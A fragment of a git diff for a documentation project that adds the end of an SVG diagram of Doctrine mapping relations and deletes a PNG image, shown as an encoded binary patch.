+  <use xlink:href="#glyph1-23" x="112.114583" y="352.822591"/>
+  <use xlink:href="#glyph1-24" x="118.78125" y="352.822591"/>
+  <use xlink:href="#glyph1-23" x="121.28125" y="352.822591"/>
+  <use xlink:href="#glyph1-23" x="127.947917" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="141.003472" y="352.822591"/>
+  <use xlink:href="#glyph1-10" x="144.059028" y="352.822591"/>
+  <use xlink:href="#glyph1-25" x="147.114583" y="352.822591"/>
+  <use xlink:href="#glyph1-26" x="153.503472" y="352.822591"/>
+  <use xlink:href="#glyph1-6" x="159.336806" y="352.822591"/>
+  <use xlink:href="#glyph1-2" x="165.447917" y="352.822591"/>
+  <use xlink:href="#glyph1-10" x="171.836806" y="352.822591"/>
+  <use xlink:href="#glyph1-24" x="174.614583" y="352.822591"/>
+  <use xlink:href="#glyph1-24" x="177.392361" y="352.822591"/>
+  <use xlink:href="#glyph1-24" x="180.170139" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="214.336806" y="352.822591"/>
+  <use xlink:href="#glyph1-10" x="217.392361" y="352.822591"/>
+  <use xlink:href="#glyph1-10" x="220.447917" y="352.822591"/>
+  <use xlink:href="#glyph1-18" x="223.503472" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="18.78125" y="371.170247"/>
+  <use xlink:href="#glyph1-27" x="25.447917" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-28" x="43.225694" y="371.170247"/>
+  <use xlink:href="#glyph1-6" x="51.003472" y="371.170247"/>
+  <use xlink:href="#glyph1-29" x="57.114583" y="371.170247"/>
+  <use xlink:href="#glyph1-5" x="60.447917" y="371.170247"/>
+  <use xlink:href="#glyph1-6" x="69.892361" y="371.170247"/>
+  <use xlink:href="#glyph1-12" x="76.003472" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="92.114583" y="371.170247"/>
+  <use xlink:href="#glyph1-18" x="98.78125" y="371.170247"/>
+  <use xlink:href="#glyph1-23" x="105.447917" y="371.170247"/>
+  <use xlink:href="#glyph1-24" x="112.114583" y="371.170247"/>
+  <use xlink:href="#glyph1-30" x="114.614583" y="371.170247"/>
+  <use xlink:href="#glyph1-30" x="121.28125" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="141.003472" y="371.170247"/>
+  <use xlink:href="#glyph1-10" x="144.059028" y="371.170247"/>
+  <use xlink:href="#glyph1-31" x="147.114583" y="371.170247"/>
+  <use xlink:href="#glyph1-29" x="153.503472" y="371.170247"/>
+  <use xlink:href="#glyph1-4" x="156.836806" y="371.170247"/>
+  <use xlink:href="#glyph1-9" x="162.670139" y="371.170247"/>
+  <use xlink:href="#glyph1-20" x="167.947917" y="371.170247"/>
+  <use xlink:href="#glyph1-10" x="173.225694" y="371.170247"/>
+  <use xlink:href="#glyph1-24" x="176.003472" y="371.170247"/>
+  <use xlink:href="#glyph1-24" x="178.78125" y="371.170247"/>
+  <use xlink:href="#glyph1-24" x="181.559028" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="214.336806" y="371.170247"/>
+  <use xlink:href="#glyph1-10" x="217.392361" y="371.170247"/>
+  <use xlink:href="#glyph1-10" x="220.447917" y="371.170247"/>
+  <use xlink:href="#glyph1-32" x="223.503472" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="18.78125" y="389.513997"/>
+  <use xlink:href="#glyph1-33" x="25.447917" y="389.513997"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-34" x="43.225694" y="389.513997"/>
+  <use xlink:href="#glyph1-6" x="46.836806" y="389.513997"/>
+  <use xlink:href="#glyph1-8" x="52.947917" y="389.513997"/>
+  <use xlink:href="#glyph1-11" x="56.836806" y="389.513997"/>
+  <use xlink:href="#glyph1-6" x="61.836806" y="389.513997"/>
+  <use xlink:href="#glyph1-15" x="67.670139" y="389.513997"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="92.114583" y="389.513997"/>
+  <use xlink:href="#glyph1-27" x="98.78125" y="389.513997"/>
+  <use xlink:href="#glyph1-35" x="105.447917" y="389.513997"/>
+  <use xlink:href="#glyph1-24" x="112.114583" y="389.513997"/>
+  <use xlink:href="#glyph1-23" x="114.614583" y="389.513997"/>
+  <use xlink:href="#glyph1-23" x="121.28125" y="389.513997"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="141.003472" y="389.513997"/>
+  <use xlink:href="#glyph1-10" x="144.059028" y="389.513997"/>
+  <use xlink:href="#glyph1-36" x="147.114583" y="389.513997"/>
+  <use xlink:href="#glyph1-13" x="155.725694" y="389.513997"/>
+  <use xlink:href="#glyph1-5" x="162.114583" y="389.513997"/>
+  <use xlink:href="#glyph1-6" x="171.559028" y="389.513997"/>
+  <use xlink:href="#glyph1-3" x="177.670139" y="389.513997"/>
+  <use xlink:href="#glyph1-37" x="184.059028" y="389.513997"/>
+  <use xlink:href="#glyph1-11" x="186.003472" y="389.513997"/>
+  <use xlink:href="#glyph1-10" x="191.003472" y="389.513997"/>
+  <use xlink:href="#glyph1-24" x="193.78125" y="389.513997"/>
+  <use xlink:href="#glyph1-24" x="196.559028" y="389.513997"/>
+  <use xlink:href="#glyph1-24" x="199.336806" y="389.513997"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="214.336806" y="389.513997"/>
+  <use xlink:href="#glyph1-10" x="217.392361" y="389.513997"/>
+  <use xlink:href="#glyph1-10" x="220.447917" y="389.513997"/>
+  <use xlink:href="#glyph1-38" x="223.503472" y="389.513997"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4 35.104102 L 18 35.1 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 5.33457 34 L 5.33457 38 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.730078 34 L 7.730078 38 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.439258 34 L 10.439258 38 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 14.129492 34 L 14.129492 38 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4.3 34 C 4.134375 34 4 34.134375 4 34.3 L 4 37.7 C 4 37.865625 4.134375 38 4.3 38 L 17.7 38 C 17.865625 38 18 37.865625 18 37.7 L 18 34.3 C 18 34.134375 17.865625 34 17.7 34 Z M 4.3 34 " transform="matrix(20,0,0,20,-69,-363)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="318.085938" y="307.271701"/>
+  <use xlink:href="#glyph0-10" x="325.30816" y="307.271701"/>
+  <use xlink:href="#glyph0-11" x="333.363715" y="307.271701"/>
+  <use xlink:href="#glyph0-12" x="342.252604" y="307.271701"/>
+  <use xlink:href="#glyph0-8" x="346.974826" y="307.271701"/>
+  <use xlink:href="#glyph0-13" x="355.30816" y="307.271701"/>
+  <use xlink:href="#glyph0-14" x="359.474826" y="307.271701"/>
+  <use xlink:href="#glyph0-3" x="363.919271" y="307.271701"/>
+  <use xlink:href="#glyph0-10" x="371.141493" y="307.271701"/>
+  <use xlink:href="#glyph0-4" x="379.197049" y="307.271701"/>
+  <use xlink:href="#glyph0-8" x="384.752604" y="307.271701"/>
+  <use xlink:href="#glyph0-18" x="393.085938" y="307.271701"/>
+  <use xlink:href="#glyph0-2" x="401.974826" y="307.271701"/>
+  <use xlink:href="#glyph0-5" x="410.863715" y="307.271701"/>
+  <use xlink:href="#glyph0-19" x="416.419271" y="307.271701"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.3 34 C 20.134375 34 20 34.134375 20 34.3 L 20 37.7 C 20 37.865625 20.134375 38 20.3 38 L 23.7 38 C 23.865625 38 24 37.865625 24 37.7 L 24 34.3 C 24 34.134375 23.865625 34 23.7 34 Z M 20.3 34 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20 35.104102 L 24 35.104102 L 24 35.990039 L 20 35.990039 Z M 20 35.104102 " transform="matrix(20,0,0,20,-69,-363)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="338.78125" y="334.478841"/>
+  <use xlink:href="#glyph1-2" x="341.836806" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="363.225694" y="334.478841"/>
+  <use xlink:href="#glyph1-4" x="369.614583" y="334.478841"/>
+  <use xlink:href="#glyph1-5" x="375.447917" y="334.478841"/>
+  <use xlink:href="#glyph1-6" x="384.892361" y="334.478841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="338.78125" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="363.225694" y="352.822591"/>
+  <use xlink:href="#glyph1-1" x="370.170139" y="352.822591"/>
+  <use xlink:href="#glyph1-20" x="373.225694" y="352.822591"/>
+  <use xlink:href="#glyph1-6" x="378.78125" y="352.822591"/>
+  <use xlink:href="#glyph1-11" x="384.892361" y="352.822591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-32" x="338.78125" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-28" x="363.225694" y="371.170247"/>
+  <use xlink:href="#glyph1-6" x="371.003472" y="371.170247"/>
+  <use xlink:href="#glyph1-29" x="377.114583" y="371.170247"/>
+  <use xlink:href="#glyph1-5" x="380.447917" y="371.170247"/>
+  <use xlink:href="#glyph1-6" x="389.892361" y="371.170247"/>
+  <use xlink:href="#glyph1-12" x="396.003472" y="371.170247"/>
+  <use xlink:href="#glyph1-11" x="400.170139" y="371.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-38" x="338.78125" y="389.513997"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-34" x="363.225694" y="389.513997"/>
+  <use xlink:href="#glyph1-6" x="366.836806" y="389.513997"/>
+  <use xlink:href="#glyph1-8" x="372.947917" y="389.513997"/>
+  <use xlink:href="#glyph1-11" x="376.836806" y="389.513997"/>
+  <use xlink:href="#glyph1-6" x="381.836806" y="389.513997"/>
+  <use xlink:href="#glyph1-15" x="387.670139" y="389.513997"/>
+  <use xlink:href="#glyph1-11" x="393.225694" y="389.513997"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20 35.104102 L 24 35.1 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.33457 34 L 21.33457 38 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.3 34 C 20.134375 34 20 34.134375 20 34.3 L 20 37.7 C 20 37.865625 20.134375 38 20.3 38 L 23.7 38 C 23.865625 38 24 37.865625 24 37.7 L 24 34.3 C 24 34.134375 23.865625 34 23.7 34 Z M 20.3 34 " transform="matrix(20,0,0,20,-69,-363)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-20" x="255.316406" y="29.00217"/>
+  <use xlink:href="#glyph0-10" x="264.483073" y="29.00217"/>
+  <use xlink:href="#glyph0-4" x="272.538628" y="29.00217"/>
+  <use xlink:href="#glyph0-8" x="278.094184" y="29.00217"/>
+  <use xlink:href="#glyph0-18" x="286.427517" y="29.00217"/>
+  <use xlink:href="#glyph0-2" x="295.316406" y="29.00217"/>
+  <use xlink:href="#glyph0-5" x="304.205295" y="29.00217"/>
+  <use xlink:href="#glyph0-19" x="309.760851" y="29.00217"/>
+  <use xlink:href="#glyph0-14" x="316.705295" y="29.00217"/>
+  <use xlink:href="#glyph0-21" x="321.14974" y="29.00217"/>
+  <use xlink:href="#glyph0-11" x="332.260851" y="29.00217"/>
+  <use xlink:href="#glyph0-22" x="341.14974" y="29.00217"/>
+  <use xlink:href="#glyph0-8" x="345.594184" y="29.00217"/>
+  <use xlink:href="#glyph0-3" x="353.927517" y="29.00217"/>
+  <use xlink:href="#glyph0-4" x="361.14974" y="29.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 20.1 C 16.134375 20.1 16 20.234375 16 20.4 L 16 22.2 C 16 22.365625 16.134375 22.5 16.3 22.5 L 21.7 22.5 C 21.865625 22.5 22 22.365625 22 22.2 L 22 20.4 C 22 20.234375 21.865625 20.1 21.7 20.1 Z M 16.3 20.1 " transform="matrix(20,0,0,20,-69,-363)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="259.429688" y="58.14681"/>
+  <use xlink:href="#glyph1-2" x="262.485243" y="58.14681"/>
+  <use xlink:href="#glyph1-39" x="268.874132" y="58.14681"/>
+  <use xlink:href="#glyph1-10" x="271.929688" y="58.14681"/>
+  <use xlink:href="#glyph1-18" x="274.985243" y="58.14681"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="259.429688" y="76.49056"/>
+  <use xlink:href="#glyph1-4" x="265.818576" y="76.49056"/>
+  <use xlink:href="#glyph1-5" x="271.65191" y="76.49056"/>
+  <use xlink:href="#glyph1-6" x="281.096354" y="76.49056"/>
+  <use xlink:href="#glyph1-39" x="287.207465" y="76.49056"/>
+  <use xlink:href="#glyph1-10" x="290.263021" y="76.49056"/>
+  <use xlink:href="#glyph1-19" x="293.318576" y="76.49056"/>
+  <use xlink:href="#glyph1-1" x="300.263021" y="76.49056"/>
+  <use xlink:href="#glyph1-20" x="303.318576" y="76.49056"/>
+  <use xlink:href="#glyph1-6" x="308.874132" y="76.49056"/>
+  <use xlink:href="#glyph1-11" x="314.985243" y="76.49056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-23" x="79.203125" y="29.00217"/>
+  <use xlink:href="#glyph0-5" x="87.814236" y="29.00217"/>
+  <use xlink:href="#glyph0-2" x="93.369792" y="29.00217"/>
+  <use xlink:href="#glyph0-16" x="102.258681" y="29.00217"/>
+  <use xlink:href="#glyph0-17" x="111.147569" y="29.00217"/>
+  <use xlink:href="#glyph0-3" x="120.036458" y="29.00217"/>
+  <use xlink:href="#glyph0-4" x="127.258681" y="29.00217"/>
+  <use xlink:href="#glyph0-14" x="132.814236" y="29.00217"/>
+  <use xlink:href="#glyph0-21" x="137.258681" y="29.00217"/>
+  <use xlink:href="#glyph0-11" x="148.369792" y="29.00217"/>
+  <use xlink:href="#glyph0-22" x="157.258681" y="29.00217"/>
+  <use xlink:href="#glyph0-8" x="161.703125" y="29.00217"/>
+  <use xlink:href="#glyph0-3" x="170.036458" y="29.00217"/>
+  <use xlink:href="#glyph0-4" x="177.258681" y="29.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.3 20.101172 C 7.134375 20.101172 7 20.235547 7 20.401172 L 7 24.801172 C 7 24.966797 7.134375 25.101172 7.3 25.101172 L 12.7 25.101172 C 12.865625 25.101172 13 24.966797 13 24.801172 L 13 20.401172 C 13 20.235547 12.865625 20.101172 12.7 20.101172 Z M 7.3 20.101172 " transform="matrix(20,0,0,20,-69,-363)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="79.429688" y="58.170247"/>
+  <use xlink:href="#glyph1-2" x="82.485243" y="58.170247"/>
+  <use xlink:href="#glyph1-39" x="88.874132" y="58.170247"/>
+  <use xlink:href="#glyph1-10" x="91.929688" y="58.170247"/>
+  <use xlink:href="#glyph1-17" x="94.985243" y="58.170247"/>
+  <use xlink:href="#glyph1-18" x="101.65191" y="58.170247"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="79.429688" y="76.517904"/>
+  <use xlink:href="#glyph1-4" x="85.818576" y="76.517904"/>
+  <use xlink:href="#glyph1-5" x="91.65191" y="76.517904"/>
+  <use xlink:href="#glyph1-6" x="101.096354" y="76.517904"/>
+  <use xlink:href="#glyph1-39" x="107.207465" y="76.517904"/>
+  <use xlink:href="#glyph1-10" x="110.263021" y="76.517904"/>
+  <use xlink:href="#glyph1-19" x="113.318576" y="76.517904"/>
+  <use xlink:href="#glyph1-1" x="120.263021" y="76.517904"/>
+  <use xlink:href="#glyph1-20" x="123.318576" y="76.517904"/>
+  <use xlink:href="#glyph1-6" x="128.874132" y="76.517904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="79.429688" y="94.861654"/>
+  <use xlink:href="#glyph1-8" x="85.818576" y="94.861654"/>
+  <use xlink:href="#glyph1-1" x="89.707465" y="94.861654"/>
+  <use xlink:href="#glyph1-9" x="92.763021" y="94.861654"/>
+  <use xlink:href="#glyph1-6" x="97.763021" y="94.861654"/>
+  <use xlink:href="#glyph1-39" x="103.874132" y="94.861654"/>
+  <use xlink:href="#glyph1-10" x="106.929688" y="94.861654"/>
+  <use xlink:href="#glyph1-21" x="109.985243" y="94.861654"/>
+  <use xlink:href="#glyph1-22" x="116.65191" y="94.861654"/>
+  <use xlink:href="#glyph1-23" x="123.318576" y="94.861654"/>
+  <use xlink:href="#glyph1-23" x="129.985243" y="94.861654"/>
+  <use xlink:href="#glyph1-24" x="136.65191" y="94.861654"/>
+  <use xlink:href="#glyph1-23" x="139.15191" y="94.861654"/>
+  <use xlink:href="#glyph1-23" x="145.818576" y="94.861654"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-2" x="79.429688" y="113.205404"/>
+  <use xlink:href="#glyph1-6" x="85.818576" y="113.205404"/>
+  <use xlink:href="#glyph1-11" x="91.929688" y="113.205404"/>
+  <use xlink:href="#glyph1-9" x="96.929688" y="113.205404"/>
+  <use xlink:href="#glyph1-8" x="102.207465" y="113.205404"/>
+  <use xlink:href="#glyph1-1" x="106.096354" y="113.205404"/>
+  <use xlink:href="#glyph1-7" x="109.15191" y="113.205404"/>
+  <use xlink:href="#glyph1-12" x="115.540799" y="113.205404"/>
+  <use xlink:href="#glyph1-1" x="119.707465" y="113.205404"/>
+  <use xlink:href="#glyph1-13" x="122.763021" y="113.205404"/>
+  <use xlink:href="#glyph1-3" x="129.15191" y="113.205404"/>
+  <use xlink:href="#glyph1-39" x="135.540799" y="113.205404"/>
+  <use xlink:href="#glyph1-10" x="138.596354" y="113.205404"/>
+  <use xlink:href="#glyph1-25" x="141.65191" y="113.205404"/>
+  <use xlink:href="#glyph1-26" x="148.040799" y="113.205404"/>
+  <use xlink:href="#glyph1-6" x="153.874132" y="113.205404"/>
+  <use xlink:href="#glyph1-2" x="159.985243" y="113.205404"/>
+  <use xlink:href="#glyph1-10" x="166.374132" y="113.205404"/>
+  <use xlink:href="#glyph1-24" x="169.15191" y="113.205404"/>
+  <use xlink:href="#glyph1-24" x="171.929688" y="113.205404"/>
+  <use xlink:href="#glyph1-24" x="174.707465" y="113.205404"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-9" x="79.429688" y="131.549154"/>
+  <use xlink:href="#glyph1-4" x="84.707465" y="131.549154"/>
+  <use xlink:href="#glyph1-12" x="90.540799" y="131.549154"/>
+  <use xlink:href="#glyph1-6" x="94.429688" y="131.549154"/>
+  <use xlink:href="#glyph1-14" x="100.263021" y="131.549154"/>
+  <use xlink:href="#glyph1-13" x="106.65191" y="131.549154"/>
+  <use xlink:href="#glyph1-8" x="113.040799" y="131.549154"/>
+  <use xlink:href="#glyph1-15" x="116.929688" y="131.549154"/>
+  <use xlink:href="#glyph1-39" x="122.485243" y="131.549154"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10 24.504297 L 14.4 24.5 L 14.4 21 L 15.25 21 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.25 21.25 L 15.75 21 L 15.25 20.75 Z M 15.25 21.25 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17 35.6 L 19.05 35.6 " transform="matrix(20,0,0,20,-69,-363)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 19.05 35.85 L 19.55 35.6 L 19.05 35.35 Z M 19.05 35.85 " transform="matrix(20,0,0,20,-69,-363)"/>
+</g>
+</svg>
diff --git a/_images/doctrine/mapping_relations_proxy.png b/_images/doctrine/mapping_relations_proxy.png
deleted file mode 100644
index 935153291d48fc2798bc95439132725023cdf7af..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 151397
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
